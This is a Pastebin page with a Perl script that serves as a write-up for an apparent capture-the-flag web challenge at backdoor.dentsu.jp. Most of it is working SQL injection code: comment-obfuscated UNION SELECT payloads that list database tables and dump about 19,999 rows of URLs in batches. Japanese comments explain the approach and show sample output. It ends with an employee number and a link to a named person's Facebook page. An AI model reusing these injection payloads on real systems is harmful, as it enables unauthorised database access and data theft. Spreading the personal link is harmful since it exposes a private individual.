Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # http://backdoor.dentsu.jp/ web100 writeup
- use strict;
- use warnings;
- use JSON;
- use LWP::UserAgent;
- my $ua = LWP::UserAgent->new();
- # http://backdoor.dentsu.jp/query/?q=%27/**/UNION/**/SELECT/**/group_concat(table_name/**/order/**/by/**/table_name /**/desc)/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema%20!=%20%27mysql%27AND/**/table_schema%20!=%20%27information_schema%27AND/**/table_name/**/like/**/%27table%25%27%23&ts=4677631&_=1403019525069
- # table00001, table00002, ..., table19999
- # テーブルの数は19999個あり、それぞれ1つカラムを持っていてその中にURLが入っている。
- # はじめは後ろから総当たりしていたが、1つにつき1秒以上かかってしまうので違うアプローチを考える。
- # まず、19999個のURLを取ってくることにした。1reqあたり100個のURLを取ってきている。
- for (my $i = 1; $i <= 19999; $i += 100) {
- my @tables;
- for my $j (0..99) {
- push @tables, sprintf '(select/**/*/**/from/**/table%05d)', $i + $j;
- }
- my $res = $ua->get('http://backdoor.dentsu.jp/query/?q=%27/**/UNION/**/SELECT/**/concat(' . join(',', @tables) . ')%23&ts=4677631&_=1403019525069');
- my $data = decode_json($res->content);
- my $urls = $data->{results}[0];
- open my $fh, '>>', 'urls' or die $!;
- for my $url (split m!http://!, $urls) {
- next if $url eq '';
- print {$fh} "http://$url\n";
- }
- }
- # % cat urls | sort | head
- # http://backdoor.dentsu.jp/QuZDtmbm2hR4CnaTB5IPwYeyXDRd6DUgAjqUUNfiRhAiBaKaDs/ <--
- # http://backdoor.dentsu.jp/bd/--CWNOEeYMmstKmBTl7DCKqE-xVkCjus2WRFR_2bZj8/
- # http://backdoor.dentsu.jp/bd/--F5FG20PXl98tCOYTQIezp6g_ruxpS-U3S5HiN2I-E/
- # http://backdoor.dentsu.jp/bd/--Fjl-5BqWQty_qFxCPyp2NNOIUxvKAvBljy-1JCrVA/
- # http://backdoor.dentsu.jp/bd/--X-Qx1vGOpvuacf3BPLtEBG8VBinuBbOTigqK_K0Vg/
- # http://backdoor.dentsu.jp/bd/--YzRXeFqRR-lnM9mwYCoyv40aUjG_I8auQ6zmiybCE/
- # http://backdoor.dentsu.jp/bd/-0DqVUSoQcYNdXiMkh22CRTBng1QoOurqgyjcAdU8ts/
- # http://backdoor.dentsu.jp/bd/-0JeYV3oB3vfm6BBHNkYXLmbvkn7bxWcuIPHuvSFej4/
- # http://backdoor.dentsu.jp/bd/-0KOncOmCOYiOfK-2dAIwJLa5VGosyDPM6wNLdZIFr0/
- # http://backdoor.dentsu.jp/bd/-0bhuZxD_QYboWT4edt-dgTvwRb-bFEB2YJlyck8Cfc/
- # 自明なURLがある。table18646が正解。
- # これが想定解だったらしいが、担当の人から実はヒントがあったと聞いた。
- # 社員番号: 18646
- # https://ja-jp.facebook.com/seitaro.miyachi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement